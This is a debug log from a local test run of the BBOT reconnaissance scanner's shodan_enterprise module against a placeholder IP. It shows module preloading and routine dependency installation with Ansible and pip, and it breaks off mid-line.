'SCAN:6ae54f02b0ef63986dae8bd36cfde6790e0a9d35', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 18:45:42,584 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:6ae54f02b0ef63986dae8bd36cfde6790e0a9d35', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-02-27 18:45:42,585 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:6ae54f02b0ef63986dae8bd36cfde6790e0a9d35', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 18:45:42,586 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:6ae54f02b0ef63986dae8bd36cfde6790e0a9d35', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 18:45:42,587 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:6ae54f02b0ef63986dae8bd36cfde6790e0a9d35', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 18:45:42,589 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:6ae54f02b0ef63986dae8bd36cfde6790e0a9d35', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 18:45:42,590 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:6ae54f02b0ef63986dae8bd36cfde6790e0a9d35', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-02-27 18:45:42,593 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) -2026-02-27 18:45:42,594 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check -2026-02-27 18:45:42,594 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) -2026-02-27 18:45:42,595 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) -2026-02-27 18:45:42,595 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) because precheck succeeded -2026-02-27 18:45:42,675 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:6ae54f02b0ef63986dae8bd36cfde6790e0a9d35', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-02-27 18:45:42,675 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:6ae54f02b0ef63986dae8bd36cfde6790e0a9d35', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 18:45:42,676 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) from TARGET -2026-02-27 18:45:42,676 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check -2026-02-27 18:45:42,676 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-02-27 18:45:42,677 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-02-27 18:45:42,678 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-02-27 18:45:42,678 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() -2026-02-27 18:45:42,679 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-02-27 18:45:42,679 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-02-27 18:45:42,780 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-02-27 18:45:42,781 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() -2026-02-27 18:45:42,800 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-02-27 18:45:42,800 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-02-27 18:45:42,801 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 40 tasks -2026-02-27 18:45:42,809 [DEBUG] bbot.scanner scanner.py:1176 Awaited 40 tasks -2026-02-27 18:45:42,809 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... -2026-02-27 18:45:42,810 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-02-27 18:45:42,811 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal -2026-02-27 18:45:42,811 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... -2026-02-27 18:45:42,812 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down -2026-02-27 18:45:42,933 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_7klk2r0yti completed in 0 seconds with status FINISHED -2026-02-27 18:45:42,933 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-02-27 18:45:42,934 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 18:45:42,935 [INFO] bbot test_module_shodan_enterprise.py:13 SCAN("{'id': 'SCAN:6ae54f02b0ef63986dae8bd36cfde6790e0a9d35', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 18:45:42,936 [INFO] bbot test_module_shodan_enterprise.py:13 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) -2026-02-27 18:45:42,936 [INFO] bbot test_module_shodan_enterprise.py:13 SCAN("{'id': 'SCAN:6ae54f02b0ef63986dae8bd36cfde6790e0a9d35', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 18:45:42,938 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test -2026-02-27 18:45:42,938 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected -2026-02-27 18:46:52,961 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-02-27 18:46:52,970 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-02-27 18:46:52,971 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-02-27 18:46:52,972 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-02-27 18:46:52,972 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-02-27 18:46:52,973 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-02-27 18:46:52,974 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-02-27 18:46:52,975 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-02-27 18:46:52,978 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-02-27 18:46:52,979 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-02-27 18:46:52,980 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-02-27 18:46:52,981 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-02-27 18:46:52,982 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-02-27 18:46:52,983 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-02-27 18:46:52,984 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-02-27 18:46:52,985 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-02-27 18:46:52,985 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-02-27 18:46:52,985 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-02-27 18:46:52,986 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-02-27 18:46:52,987 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-02-27 18:46:52,987 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-02-27 18:46:52,988 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-02-27 18:46:52,989 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-02-27 18:46:52,990 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-02-27 18:46:52,990 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-02-27 18:46:52,990 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-02-27 18:46:52,991 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-02-27 18:46:52,991 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-02-27 18:46:52,992 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-02-27 18:46:52,993 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-02-27 18:46:52,993 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-02-27 18:46:52,994 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-02-27 18:46:52,995 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-02-27 18:46:52,995 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-02-27 18:46:52,996 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-02-27 18:46:52,997 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-02-27 18:46:52,998 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-02-27 18:46:52,999 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-02-27 18:46:52,999 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-02-27 18:46:53,000 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-02-27 18:46:53,001 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-02-27 18:46:53,001 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-02-27 18:46:53,002 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-02-27 18:46:53,003 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-02-27 18:46:53,003 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-02-27 18:46:53,004 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-02-27 18:46:53,005 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-02-27 18:46:53,005 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-02-27 18:46:53,006 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-02-27 18:46:53,007 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-02-27 18:46:53,008 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-02-27 18:46:53,008 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-02-27 18:46:53,009 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-02-27 18:46:53,010 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-02-27 18:46:53,011 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-02-27 18:46:53,012 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-02-27 18:46:53,012 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-02-27 18:46:53,013 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-02-27 18:46:53,014 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-02-27 18:46:53,014 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-02-27 18:46:53,015 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-02-27 18:46:53,015 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-02-27 18:46:53,016 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-02-27 18:46:53,016 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-02-27 18:46:53,017 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-02-27 18:46:53,021 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-02-27 18:46:53,022 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-02-27 18:46:53,022 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-02-27 18:46:53,023 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-02-27 18:46:53,024 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-02-27 18:46:53,024 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-02-27 18:46:53,025 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-02-27 18:46:53,026 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-02-27 18:46:53,027 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-02-27 18:46:53,027 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-02-27 18:46:53,028 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-02-27 18:46:53,029 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-02-27 18:46:53,029 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-02-27 18:46:53,030 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-02-27 18:46:53,031 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-02-27 18:46:53,031 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-02-27 18:46:53,032 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-02-27 18:46:53,033 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-02-27 18:46:53,033 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-02-27 18:46:53,034 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-02-27 18:46:53,034 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-02-27 18:46:53,035 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-02-27 18:46:53,036 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-02-27 18:46:53,036 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-02-27 18:46:53,037 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-02-27 18:46:53,037 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-02-27 18:46:53,043 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-02-27 18:46:53,043 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-02-27 18:46:53,044 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-02-27 18:46:53,045 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-02-27 18:46:53,046 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-02-27 18:46:53,047 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-02-27 18:46:53,048 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-02-27 18:46:53,049 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-02-27 18:46:53,049 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-02-27 18:46:53,050 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-02-27 18:46:53,051 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-02-27 18:46:53,052 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-02-27 18:46:53,053 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-02-27 18:46:53,053 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-02-27 18:46:53,054 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-02-27 18:46:53,055 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-02-27 18:46:53,055 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-02-27 18:46:53,056 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-02-27 18:46:53,056 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-02-27 18:46:53,057 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-02-27 18:46:53,057 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-02-27 18:46:53,058 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-02-27 18:46:53,058 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-02-27 18:46:53,059 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-02-27 18:46:53,060 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-02-27 18:46:53,060 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-02-27 18:46:53,061 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-02-27 18:46:53,062 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-02-27 18:46:53,063 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-02-27 18:46:53,063 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-02-27 18:46:53,064 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-02-27 18:46:53,064 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-02-27 18:46:53,065 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-02-27 18:46:53,065 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-02-27 18:46:53,066 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-02-27 18:46:53,067 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-02-27 18:46:53,067 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-02-27 18:46:53,068 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-02-27 18:46:53,068 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-02-27 18:46:53,069 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-02-27 18:46:53,070 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-02-27 18:46:53,070 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-02-27 18:46:53,071 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-02-27 18:46:53,071 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-02-27 18:46:53,072 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-02-27 18:46:53,072 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-02-27 18:46:53,073 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-02-27 18:46:53,074 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-02-27 18:46:53,074 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-02-27 18:46:53,075 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-02-27 18:46:53,075 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-02-27 18:46:53,076 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-02-27 18:46:53,076 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-02-27 18:46:53,078 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-02-27 18:46:53,078 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-02-27 18:46:53,079 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-02-27 18:46:53,079 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-02-27 18:46:53,080 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-02-27 18:46:53,080 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-02-27 18:46:53,081 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-02-27 18:46:53,081 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-02-27 18:46:53,082 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-02-27 18:46:53,083 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-02-27 18:46:53,084 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-02-27 18:46:53,084 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-02-27 18:46:53,085 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-02-27 18:46:53,085 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-02-27 18:46:53,086 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-02-27 18:46:53,086 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-02-27 18:46:53,087 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-02-27 18:46:53,088 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-02-27 18:46:53,088 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-02-27 18:46:53,089 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-02-27 18:46:53,089 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-02-27 18:46:53,090 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-02-27 18:46:53,090 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-02-27 18:46:53,091 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-02-27 18:46:53,092 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-02-27 18:46:53,092 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-02-27 18:46:54,209 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 18:46:54,209 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 18:46:54,210 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-02-27 18:46:54,354 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-02-27 18:46:54,945 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-02-27 18:46:54,946 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-02-27 18:46:54,946 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-02-27 18:46:54,946 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-02-27 18:46:55,167 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-02-27 18:46:55,167 [DEBUG] bbot base.py:103 Mocking DNS -2026-02-27 18:46:55,277 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-02-27 18:46:55,277 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-02-27 18:46:55,333 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) -2026-02-27 18:46:55,337 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-02-27 18:46:55,338 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-02-27 18:46:55,782 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-02-27 18:46:55,783 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-02-27 18:47:03,180 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-02-27 18:47:03,180 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-02-27 18:47:03,181 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-02-27 18:47:05,002 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-02-27 18:47:05,002 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-02-27 18:47:05,006 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 18:47:05,006 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-02-27 18:47:05,007 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 18:47:05,007 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-02-27 18:47:05,007 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 18:47:05,007 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-02-27 18:47:05,008 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" -2026-02-27 18:47:05,008 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-02-27 18:47:05,012 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: 